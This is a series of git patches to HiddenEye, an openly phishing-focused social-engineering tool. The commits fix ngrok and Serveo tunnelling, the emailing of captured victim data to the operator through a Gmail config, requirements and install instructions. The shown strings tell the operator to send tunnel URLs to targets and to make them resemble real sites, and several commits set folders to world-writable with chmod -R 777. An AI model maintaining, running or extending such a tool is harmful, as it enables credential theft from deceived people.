From 3b367eb4d9677837410e0ea279c30ee5b041a4be Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Mon, 25 May 2020 15:05:18 +0300 Subject: [PATCH 01/32] Update README.md --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9853087..abaaf44 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@

- + CodeFactor @@ -77,9 +77,10 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI ### PREREQUISITES ( Please verify if you have installed ) -* Python 3 +* Python 3.* * PHP * sudo +* pyngrok # FOUND A BUG ? / HAVE ANY ISSUE ? :- (Read This) * Check closed & solved issues/bugs before opening new. From 435d95ff7a26bf3d2fc47007ff49ece0efabc711 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Mon, 25 May 2020 15:08:26 +0300 Subject: [PATCH 02/32] Update instructions.md --- instructions.md | 29 +++++++---------------------- 1 file changed, 7 insertions(+), 22 deletions(-) diff --git a/instructions.md b/instructions.md index 07dd040..64e7982 100644 --- a/instructions.md +++ b/instructions.md @@ -5,7 +5,7 @@ sudo pacman -S hidden-eye ``` to run just use ``` -sudo hidden-eye +sudo hiddeneye ``` ### CLONE ``` @@ -15,25 +15,17 @@ git clone https://github.com/DarkSecDevelopers/HiddenEye.git ### RUNNING (In Linux) ``` chmod 777 HiddenEye -``` -``` sudo apt install python3-pip -``` -``` cd HiddenEye -``` -``` sudo pip3 install -r requirements.txt -``` -``` sudo pip3 install requests -``` -``` +sudo pip3 install pyngrok + python3 HiddenEye.py ``` @@ -46,24 +38,17 @@ python3 HiddenEye.py ### RUNNING (Arch Linux or Manjaro) ``` chmod 777 HiddenEye -``` -``` sudo pacman -Syu -``` -``` -sudo pacman -S python-pip -``` -``` +sudo pacman -S python-pip, + cd HiddenEye -``` -``` sudo pip3 install -r requirements.txt -``` -``` +sudo pip3 install pyngrok + sudo python3 HiddenEye.py ``` From 41801a00b9379ce6bd7a6e305a374f1d38fc3540 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Mon, 25 May 2020 16:25:41 +0300 Subject: [PATCH 03/32] Replaced os.chmod with run_command to add Recursive --- Defs/ActionManager/main_runner.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Defs/ActionManager/main_runner.py b/Defs/ActionManager/main_runner.py index 1adc037..43ace5a 100644 --- a/Defs/ActionManager/main_runner.py +++ b/Defs/ActionManager/main_runner.py @@ -241,10 +241,11 @@ def start_main_menu(): def start_phishing_page(page, custom_option): # Phishing pages selection menu - chmod('Server', 777) + #chmod('Server', 777) + run_command(['chmod', '-R', '777', 'Server']) rmtree("Server/www", onerror=simple_informant.remove_readonly) mkdir('Server/www') - chmod('Server/www', 777) + #chmod('Server/www', 777) pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/ip.txt').touch() copyfile('WebPages/ip.php', 'Server/www/ip.php') From ef110fd34f3a447c02f845aa6dfefa3eef48efed Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Mon, 25 May 2020 16:29:33 +0300 Subject: [PATCH 04/32] Added Server/www to .gitignore --- .gitignore | 2 ++ Server/CapturedData/.gitkeep | 0 Server/www/.gitkeep | 1 - 3 files changed, 2 insertions(+), 1 deletion(-) mode change 100644 => 100755 Server/CapturedData/.gitkeep delete mode 100644 Server/www/.gitkeep diff --git a/.gitignore b/.gitignore index 2b30fcb..6296c49 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,5 @@ Defs/LocalizationManager/lang_action_manager/__pycache__/ eula.txt Defs/LocalizationManager/lang_action_manager/lang_server/__pycache__/ + +Server/www/ diff --git a/Server/CapturedData/.gitkeep b/Server/CapturedData/.gitkeep old mode 100644 new mode 100755 diff --git a/Server/www/.gitkeep b/Server/www/.gitkeep deleted file mode 100644 index 8d1c8b6..0000000 --- a/Server/www/.gitkeep +++ /dev/null @@ -1 +0,0 @@ - From 320575336f2cb1a144f8a9123b5441ea37daa6d9 Mon Sep 17 00:00:00 2001 From: Alex Laird Date: Mon, 25 May 2020 16:02:57 -0700 Subject: [PATCH 05/32] Instead of ignoring __pycache__ folders, just ignore pyc compiled files, which will do the same thing with one ignore line. Additionally, the Server/www folder is needed, but must be committed empty, so fixed that. --- .gitignore | 23 +---------------------- Server/www/.gitignore | 1 + 2 files changed, 2 insertions(+), 22 deletions(-) create mode 100644 Server/www/.gitignore diff --git a/.gitignore b/.gitignore index 6296c49..4448a93 100644 --- a/.gitignore +++ b/.gitignore @@ -1,17 +1,4 @@ - -Defs/__pycache__/ - -Defs/ActionManager/__pycache__/ - -Defs/ActionManager/Server/__pycache__/ - -Defs/FeatureManager/__pycache__/ - -Defs/FeatureManager/EmailManager/__pycache__/ - -Defs/ImportManager/__pycache__/ - -Defs/ThemeManager/__pycache__/ +*.pyc *.deb @@ -33,12 +20,4 @@ Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt Server/CapturedData/KeyloggerData.txt -Defs/LocalizationManager/__pycache__/ - -Defs/LocalizationManager/lang_action_manager/__pycache__/ - eula.txt - -Defs/LocalizationManager/lang_action_manager/lang_server/__pycache__/ - -Server/www/ diff --git a/Server/www/.gitignore b/Server/www/.gitignore new file mode 100644 index 0000000..f935021 --- /dev/null +++ b/Server/www/.gitignore @@ -0,0 +1 @@ +!.gitignore From 3696e54c9b8e0ef7ade9fb9c7e5eefd13b14251d Mon Sep 17 00:00:00 2001 From: DarkMidus Date: Tue, 26 May 2020 20:22:02 -0500 Subject: [PATCH 06/32] Server/www hotfix --- Defs/ActionManager/Server/server_runner.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index 1a66dee..c8bd735 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -14,8 +14,13 @@ import Defs.ActionManager.simple_informant as simple_informant import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.ActionManager.main_runner as main_runner +import os default_palette = theme.default_palette +try: + os.mkdir("Server/www") +except FileExistsError: + pass enter_server_www = chdir("Server/www") exit_server_www = chdir("../..") From 23a0d85c14239e37b9a94f1d90942d0412690ccd Mon Sep 17 00:00:00 2001 From: DarkMidus <39868305+darkmidus@users.noreply.github.com> Date: Tue, 26 May 2020 22:50:47 -0500 Subject: [PATCH 07/32] Moved Instructions to wiki --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index abaaf44..cd4e46b 100644 --- a/README.md +++ b/README.md @@ -110,7 +110,7 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI **(B) Termux App** - You Have to Download Termux App. [Click Here](https://play.google.com/store/apps/details?id=com.termux) To Download it. - - For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md) + - For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions) - Termux Users Clone With This Command , Unless Errors may occur during Running. ``` git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git From 25fcb1adc1dcf16ce565722e170607678e35e9d4 Mon Sep 17 00:00:00 2001 From: DarkMidus <39868305+darkmidus@users.noreply.github.com> Date: Tue, 26 May 2020 22:58:52 -0500 Subject: [PATCH 08/32] Moved installation instructions to wiki --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index cd4e46b..5270627 100644 --- a/README.md +++ b/README.md @@ -148,7 +148,7 @@ git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEy - GDRIVE (By @thewhiteh4t) ## [Check This](https://youtu.be/InSdtLhZzk4) Demonstration video to know How (Location) Social-Engineering-Tool Works. -## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md) +## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions) ## BACKUP REPOSITORY AVAILABLE AT GITLAB - [(CHECK HERE)](https://gitlab.com/an0nud4y/HiddenEye)

From dcc811a1717d2529ae427040f5b2f221e4a74ab4 Mon Sep 17 00:00:00 2001 From: DarkMidus <39868305+darkmidus@users.noreply.github.com> Date: Tue, 26 May 2020 23:00:20 -0500 Subject: [PATCH 09/32] Finally added myself too readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5270627..1377147 100644 --- a/README.md +++ b/README.md @@ -40,6 +40,7 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI 5) Micrafast (https://github.com/Micrafast) 6) Moltivie (https://github.com/Moltivie) 7) endbehavi0r (https://github.com/endbehavi0r) +8) DarkMidus (https://github.com/DarkMidus) 8) ___________ (WAITING FOR YOU) # AVAILABLE TUNNELLING OPTIONS** From cd185b70c90d00dfdb6fd13731da1341b29dc2f8 Mon Sep 17 00:00:00 2001 From: DarkMidus Date: Tue, 26 May 2020 23:01:41 -0500 Subject: [PATCH 10/32] Removed old instructions --- instructions.md | 161 ------------------------------------------------ 1 file changed, 161 deletions(-) delete mode 100644 instructions.md diff --git a/instructions.md b/instructions.md deleted file mode 100644 index 64e7982..0000000 --- a/instructions.md +++ /dev/null @@ -1,161 +0,0 @@ -## HOW TO INSTALL -### BlackArch official repository -``` -sudo pacman -S hidden-eye -``` -to run just use -``` -sudo hiddeneye -``` -### CLONE -``` -git clone https://github.com/DarkSecDevelopers/HiddenEye.git -``` - -### RUNNING (In Linux) -``` -chmod 777 HiddenEye - -sudo apt install python3-pip - -cd HiddenEye - -sudo pip3 install -r requirements.txt - -sudo pip3 install requests - -sudo pip3 install pyngrok - -python3 HiddenEye.py - -``` - OR - -``` -./HiddenEye.py - -``` -### RUNNING (Arch Linux or Manjaro) -``` -chmod 777 HiddenEye - -sudo pacman -Syu - -sudo pacman -S python-pip, - -cd HiddenEye - -sudo pip3 install -r requirements.txt - -sudo pip3 install pyngrok - -sudo python3 HiddenEye.py - -``` - OR - -``` -sudo ./HiddenEye.py - -``` -## FOR ANDROID USERS - -### 1) INSTALLING IN (USERLAND APP) - -``` -Install userland app from playstore. - -``` - -``` -Set up app and install kali from app.Set ssh username(anyname) and password. - -``` - -``` -When kali will run it'll ask for password type the ssh password.Then do su.After that kali will run on your device wothout root and do apt update For more info read here (https://null-byte.wonderhowto.com/how-to/android-for-hackers-turn-android-phone-into-hacking-device-without-root-0189649/) - -``` -``` -sudo apt install python3 python3-pip unzip php git - -``` -``` -git clone https://github.com/DarkSecDevelopers/HiddenEye.git - -``` - -``` -chmod 777 HiddenEye -``` - -``` -cd HiddenEye - -``` - -``` -pip3 install -r requirements.txt && pip3 install requests - -``` - -``` -python3 HiddenEye.py -``` - -### 2) INSTALLING IN (TERMUX APP) - -``` -First install { Termux } from Playstore. - -``` - -``` -After opening Follow below commands One by one - -``` - -``` -pkg install git python php curl openssh grep - -``` - -``` -git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git -``` - -``` -chmod 777 HiddenEye -``` - -``` -pip install requests -``` - -``` -cd HiddenEye -``` -``` -python HiddenEye.py - -or - -./HiddenEye.py - -``` -### ONE LINE COMMAND TO INSTALL IN TERMUX(ANDROID). Just copy/paste this single command and hit Enter .. ALL DONE - - -``` -First install { Termux } from Playstore. - -``` - -``` -After opening Copy and run this Single Command. - -``` -``` -pkg install git python php curl openssh grep && git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git && chmod 777 HiddenEye && cd HiddenEye && pip install -r requirements.txt && pip install requests && python HiddenEye.py - -``` From cc19a1ed043ab18ef14908ad5ba81cac6491d961 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 27 May 2020 18:16:24 +0300 Subject: [PATCH 11/32] Update requirements.txt --- requirements.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/requirements.txt b/requirements.txt index 6629d13..b336dbf 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,2 @@ -requests -pyngrok +requests==2.22.0 +pyngrok==2.1.6 From f4a99040213a8e0fd79b6cadc0ec864aba480641 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 27 May 2020 18:20:47 +0300 Subject: [PATCH 12/32] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index dd84ea7..bdbfd4b 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -1,8 +1,8 @@ --- name: Bug report about: Create a report to help us improve -title: '' -labels: '' +title: "[BUG]" +labels: not-confirmed assignees: '' --- @@ -23,16 +23,11 @@ A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. -**Desktop (please complete the following information):** +**Device (please complete the following information):** - OS: [e.g. iOS] - - Browser [e.g. chrome, safari] - - Version [e.g. 22] + - Python [e.g. 3.6.1] + - HiddenEye Version [e.g. 1.0.22] -**Smartphone (please complete the following information):** - - Device: [e.g. iPhone6] - - OS: [e.g. iOS8.1] - - Browser [e.g. stock browser, safari] - - Version [e.g. 22] **Additional context** Add any other context about the problem here. From c16072264e364648e5a45bf848c3c43a89e43118 Mon Sep 17 00:00:00 2001 From: "dependabot-preview[bot]" <27856297+dependabot-preview[bot]@users.noreply.github.com> Date: Wed, 27 May 2020 15:38:55 +0000 Subject: [PATCH 13/32] Bump requests from 2.22.0 to 2.23.0 Bumps [requests](https://github.com/psf/requests) from 2.22.0 to 2.23.0. - [Release notes](https://github.com/psf/requests/releases) - [Changelog](https://github.com/psf/requests/blob/master/HISTORY.md) - [Commits](https://github.com/psf/requests/compare/v2.22.0...v2.23.0) Signed-off-by: dependabot-preview[bot] --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index b336dbf..5d61574 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,2 @@ -requests==2.22.0 +requests==2.23.0 pyngrok==2.1.6 From 255cb2258cf10ae0337f89d6d13ef5353525f043 Mon Sep 17 00:00:00 2001 From: "dependabot-preview[bot]" <27856297+dependabot-preview[bot]@users.noreply.github.com> Date: Wed, 27 May 2020 15:39:17 +0000 Subject: [PATCH 14/32] Bump pyngrok from 2.1.6 to 2.1.7 Bumps [pyngrok](https://github.com/alexdlaird/pyngrok) from 2.1.6 to 2.1.7. - [Release notes](https://github.com/alexdlaird/pyngrok/releases) - [Changelog](https://github.com/alexdlaird/pyngrok/blob/master/CHANGELOG.md) - [Commits](https://github.com/alexdlaird/pyngrok/compare/2.1.6...2.1.7) Signed-off-by: dependabot-preview[bot] --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index b336dbf..59c2158 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,2 @@ requests==2.22.0 -pyngrok==2.1.6 +pyngrok==2.1.7 From 3ca24d04f3cb9ee113697114d58382da16884539 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 27 May 2020 19:11:09 +0300 Subject: [PATCH 15/32] Create .gitattributes --- .gitattributes | 1 + 1 file changed, 1 insertion(+) create mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..d13b320 --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +WebPages/* -linguist-vendored From dab74465bb08a13ccd8919241584d4b547ff9a31 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 27 May 2020 19:12:04 +0300 Subject: [PATCH 16/32] Update .gitattributes --- .gitattributes | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitattributes b/.gitattributes index d13b320..0c0095e 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1 @@ -WebPages/* -linguist-vendored +WebPages/* linguist-vendored=false From b50f67224abcce943eb44308b7b5a784a4284849 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 27 May 2020 19:19:18 +0300 Subject: [PATCH 17/32] Update .gitattributes --- .gitattributes | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitattributes b/.gitattributes index 0c0095e..aee625d 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1 @@ -WebPages/* linguist-vendored=false +WebPages/* -linguist-detectable From b1fde3ec80b2d7b4a7ca1bbf6228d1455e58ee26 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Wed, 27 May 2020 19:21:00 +0300 Subject: [PATCH 18/32] Update .gitattributes --- .gitattributes | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitattributes b/.gitattributes index aee625d..e879ca7 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1 @@ -WebPages/* -linguist-detectable +WebPages/* linguist-detectable=false From 73fe4a2403faf96809eeb0bb64109374c29c26c3 Mon Sep 17 00:00:00 2001 From: DarkMidus Date: Thu, 28 May 2020 14:07:53 -0500 Subject: [PATCH 19/32] Fixed typo in Serveo Code --- .../lang_action_manager/lang_server/lang_server_runner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py b/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py index 37b310e..cba515d 100644 --- a/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py +++ b/Defs/LocalizationManager/lang_action_manager/lang_server/lang_server_runner.py @@ -27,7 +27,7 @@ lang_start_ngrok = { lang_start_serveo = { "serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), - "server_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), + "serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]), "make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]), "insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]), From 1db86fc5f35f8705b65526d95b46c3cf80ec403a Mon Sep 17 00:00:00 2001 From: AnonUD4Y Date: Fri, 29 May 2020 01:00:24 +0530 Subject: [PATCH 20/32] Hot Fix (Email Config Failure) --- .../EmailManager/email_prompt.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/Defs/FeatureManager/EmailManager/email_prompt.py b/Defs/FeatureManager/EmailManager/email_prompt.py index 800def0..7358d37 100644 --- a/Defs/FeatureManager/EmailManager/email_prompt.py +++ b/Defs/FeatureManager/EmailManager/email_prompt.py @@ -40,8 +40,8 @@ def captured_data_email_confirmation(port): # Ask user to start sending credent choice = input( "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper() if choice == 'Y' or choice == 'y': - if path.isfile('Defs/Send_Email/emailconfig.py') == True: - system('python3 Defs/Send_Email/SendEmail.py') + if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True: + system('python3 Defs/FeatureManager/EmailManager/SendEmail.py') else: print( '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.') @@ -66,35 +66,35 @@ def captured_data_email_configuration_prompt(): {1}http://github.com/darksecdevelopers {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])) print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4])) - #run_command('cp Defs/Send_Email/EmailConfigDefault.py Defs/Send_Email/emailconfig.py') + #run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py') copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py') GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4])) - with open('Defs/Send_Email/emailconfig.py') as f: + with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: read_data = f.read() c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT) - f = open('Defs/Send_Email/emailconfig.py', 'w') + f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f.write(c) f.close() print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) GMAILPASSWORD = getpass.getpass( "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4])) - with open('Defs/Send_Email/emailconfig.py') as f: + with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: read_data = f.read() GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode()) GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8')) c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD) - f = open('Defs/Send_Email/emailconfig.py', 'w') + f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f.write(c) f.close() print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4])) RECIPIENTEMAIL = input( "{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4])) - with open('Defs/Send_Email/emailconfig.py') as f: + with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f: read_data = f.read() c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL) - f = open('Defs/Send_Email/emailconfig.py', 'w') + f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w') f.write(c) f.close() print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) print( - '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/Send_Email/Config.py)'.format(default_palette[0], default_palette[4])) + '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4])) From e58157ea2adf7fdb3484ab0f9bfe20bc354d902b Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Fri, 29 May 2020 00:03:51 +0300 Subject: [PATCH 21/32] Fix of pyngrok crash --- .config/ngrok.yml | 1 + Defs/ActionManager/Server/server_runner.py | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) create mode 100644 .config/ngrok.yml diff --git a/.config/ngrok.yml b/.config/ngrok.yml new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/.config/ngrok.yml @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index c8bd735..6f04bee 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -7,7 +7,7 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \ - regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE + regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, pathlib_Path import Defs.ThemeManager.theme as theme import Defs.ActionManager.Server.server_menu as server_menu import Defs.ActionManager.simple_informant as simple_informant @@ -83,6 +83,7 @@ def start_localhost(port): def start_ngrok(port): + ngrok.DEFAULT_CONFIG_PATH = pathlib_Path(".config/ngrok.yml") run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command('clear') # print(''' From 62a8bccbcb4c12b806675c27cc1dd880d5741fa5 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Fri, 29 May 2020 00:04:23 +0300 Subject: [PATCH 22/32] Added Server/www to .gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 4448a93..12177a8 100644 --- a/.gitignore +++ b/.gitignore @@ -21,3 +21,5 @@ Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt Server/CapturedData/KeyloggerData.txt eula.txt + +Server/www/ From a81ae8895f819ff829b3b4cdd11e29d28328591b Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Fri, 29 May 2020 00:04:42 +0300 Subject: [PATCH 23/32] ... --- Server/www/.gitignore | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Server/www/.gitignore diff --git a/Server/www/.gitignore b/Server/www/.gitignore deleted file mode 100644 index f935021..0000000 --- a/Server/www/.gitignore +++ /dev/null @@ -1 +0,0 @@ -!.gitignore From 7ab3e637e72fdfe4d56c77c9dbc3aac0afc81e08 Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Fri, 29 May 2020 00:39:24 +0300 Subject: [PATCH 24/32] Added basic values to ngrok.yml --- .config/ngrok.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/.config/ngrok.yml b/.config/ngrok.yml index 9e26dfe..9a85f4c 100644 --- a/.config/ngrok.yml +++ b/.config/ngrok.yml @@ -1 +1,4 @@ -{} \ No newline at end of file +console_ui: false +update: true +log_level: info +log_format: term \ No newline at end of file From 0eac10f57cc4bbc4fc89eca81f964b10c1fa601d Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Fri, 29 May 2020 00:39:41 +0300 Subject: [PATCH 25/32] Fixed? problem with pyngrok --- Defs/ActionManager/Server/server_runner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index 6f04bee..cb17c52 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -7,7 +7,7 @@ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \ - regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, pathlib_Path + regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path import Defs.ThemeManager.theme as theme import Defs.ActionManager.Server.server_menu as server_menu import Defs.ActionManager.simple_informant as simple_informant @@ -83,7 +83,7 @@ def start_localhost(port): def start_ngrok(port): - ngrok.DEFAULT_CONFIG_PATH = pathlib_Path(".config/ngrok.yml") + ngrok.DEFAULT_CONFIG_PATH = path.join(".config/ngrok.yml") run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command('clear') # print(''' From 33dd2c3fdb04ce82fd4f91a1aabfb34a1ac384ef Mon Sep 17 00:00:00 2001 From: sTiKyt Date: Sat, 30 May 2020 17:58:05 +0300 Subject: [PATCH 26/32] Added auth_token string... --- Defs/ActionManager/Server/server_runner.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py index cb17c52..1e97a2f 100644 --- a/Defs/ActionManager/Server/server_runner.py +++ b/Defs/ActionManager/Server/server_runner.py @@ -83,7 +83,8 @@ def start_localhost(port): def start_ngrok(port): - ngrok.DEFAULT_CONFIG_PATH = path.join(".config/ngrok.yml") + ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml" + # ngrok.set_auth_token("") # Will be easier to input later run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command('clear') # print(''' @@ -98,7 +99,7 @@ def start_ngrok(port): # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) ##chmod('Server', 0o777) ##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL) - ngrok.connect(port) + ngrok.connect(port=int(port)) # currentDirectory = os.getcwd() #DELETE # print(currentDirectory) #DELETE while True: From 9353df836be54d7386ec5df10e86bf7f2177d9a5 Mon Sep 17 00:00:00 2001 From: Souldiv Date: Mon, 1 Jun 2020 13:47:37 +0530 Subject: [PATCH 27/32] Dependency fixes --- Defs/ActionManager/Server/server_menu.py | 65 -------- Defs/ActionManager/Server/server_runner.py | 155 ++++++++++++++---- Defs/ActionManager/simple_informant.py | 4 +- .../EmailManager/email_prompt.py | 2 +- 4 files changed, 124 insertions(+), 102 deletions(-) delete mode 100644 Defs/ActionManager/Server/server_menu.py diff --git a/Defs/ActionManager/Server/server_menu.py b/Defs/ActionManager/Server/server_menu.py deleted file mode 100644 index 9746db1..0000000 --- a/Defs/ActionManager/Server/server_menu.py +++ /dev/null @@ -1,65 +0,0 @@ -# -# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com -# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE. -# This is free software, and you are welcome to redistribute it -# under certain conditions; you can read LICENSE for details. -# - - -from Defs.ImportManager.unsorted_will_be_replaced import run_command -import Defs.ThemeManager.theme as theme -import Defs.ActionManager.Server.server_runner as server_runner -import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_menu as localization -import Defs.LocalizationManager.lang_global_usage as global_localization -import Defs.ActionManager.main_runner as main_runner - -default_palette = theme.default_palette - - - - - - - -def server_selection(port): # Question where user must 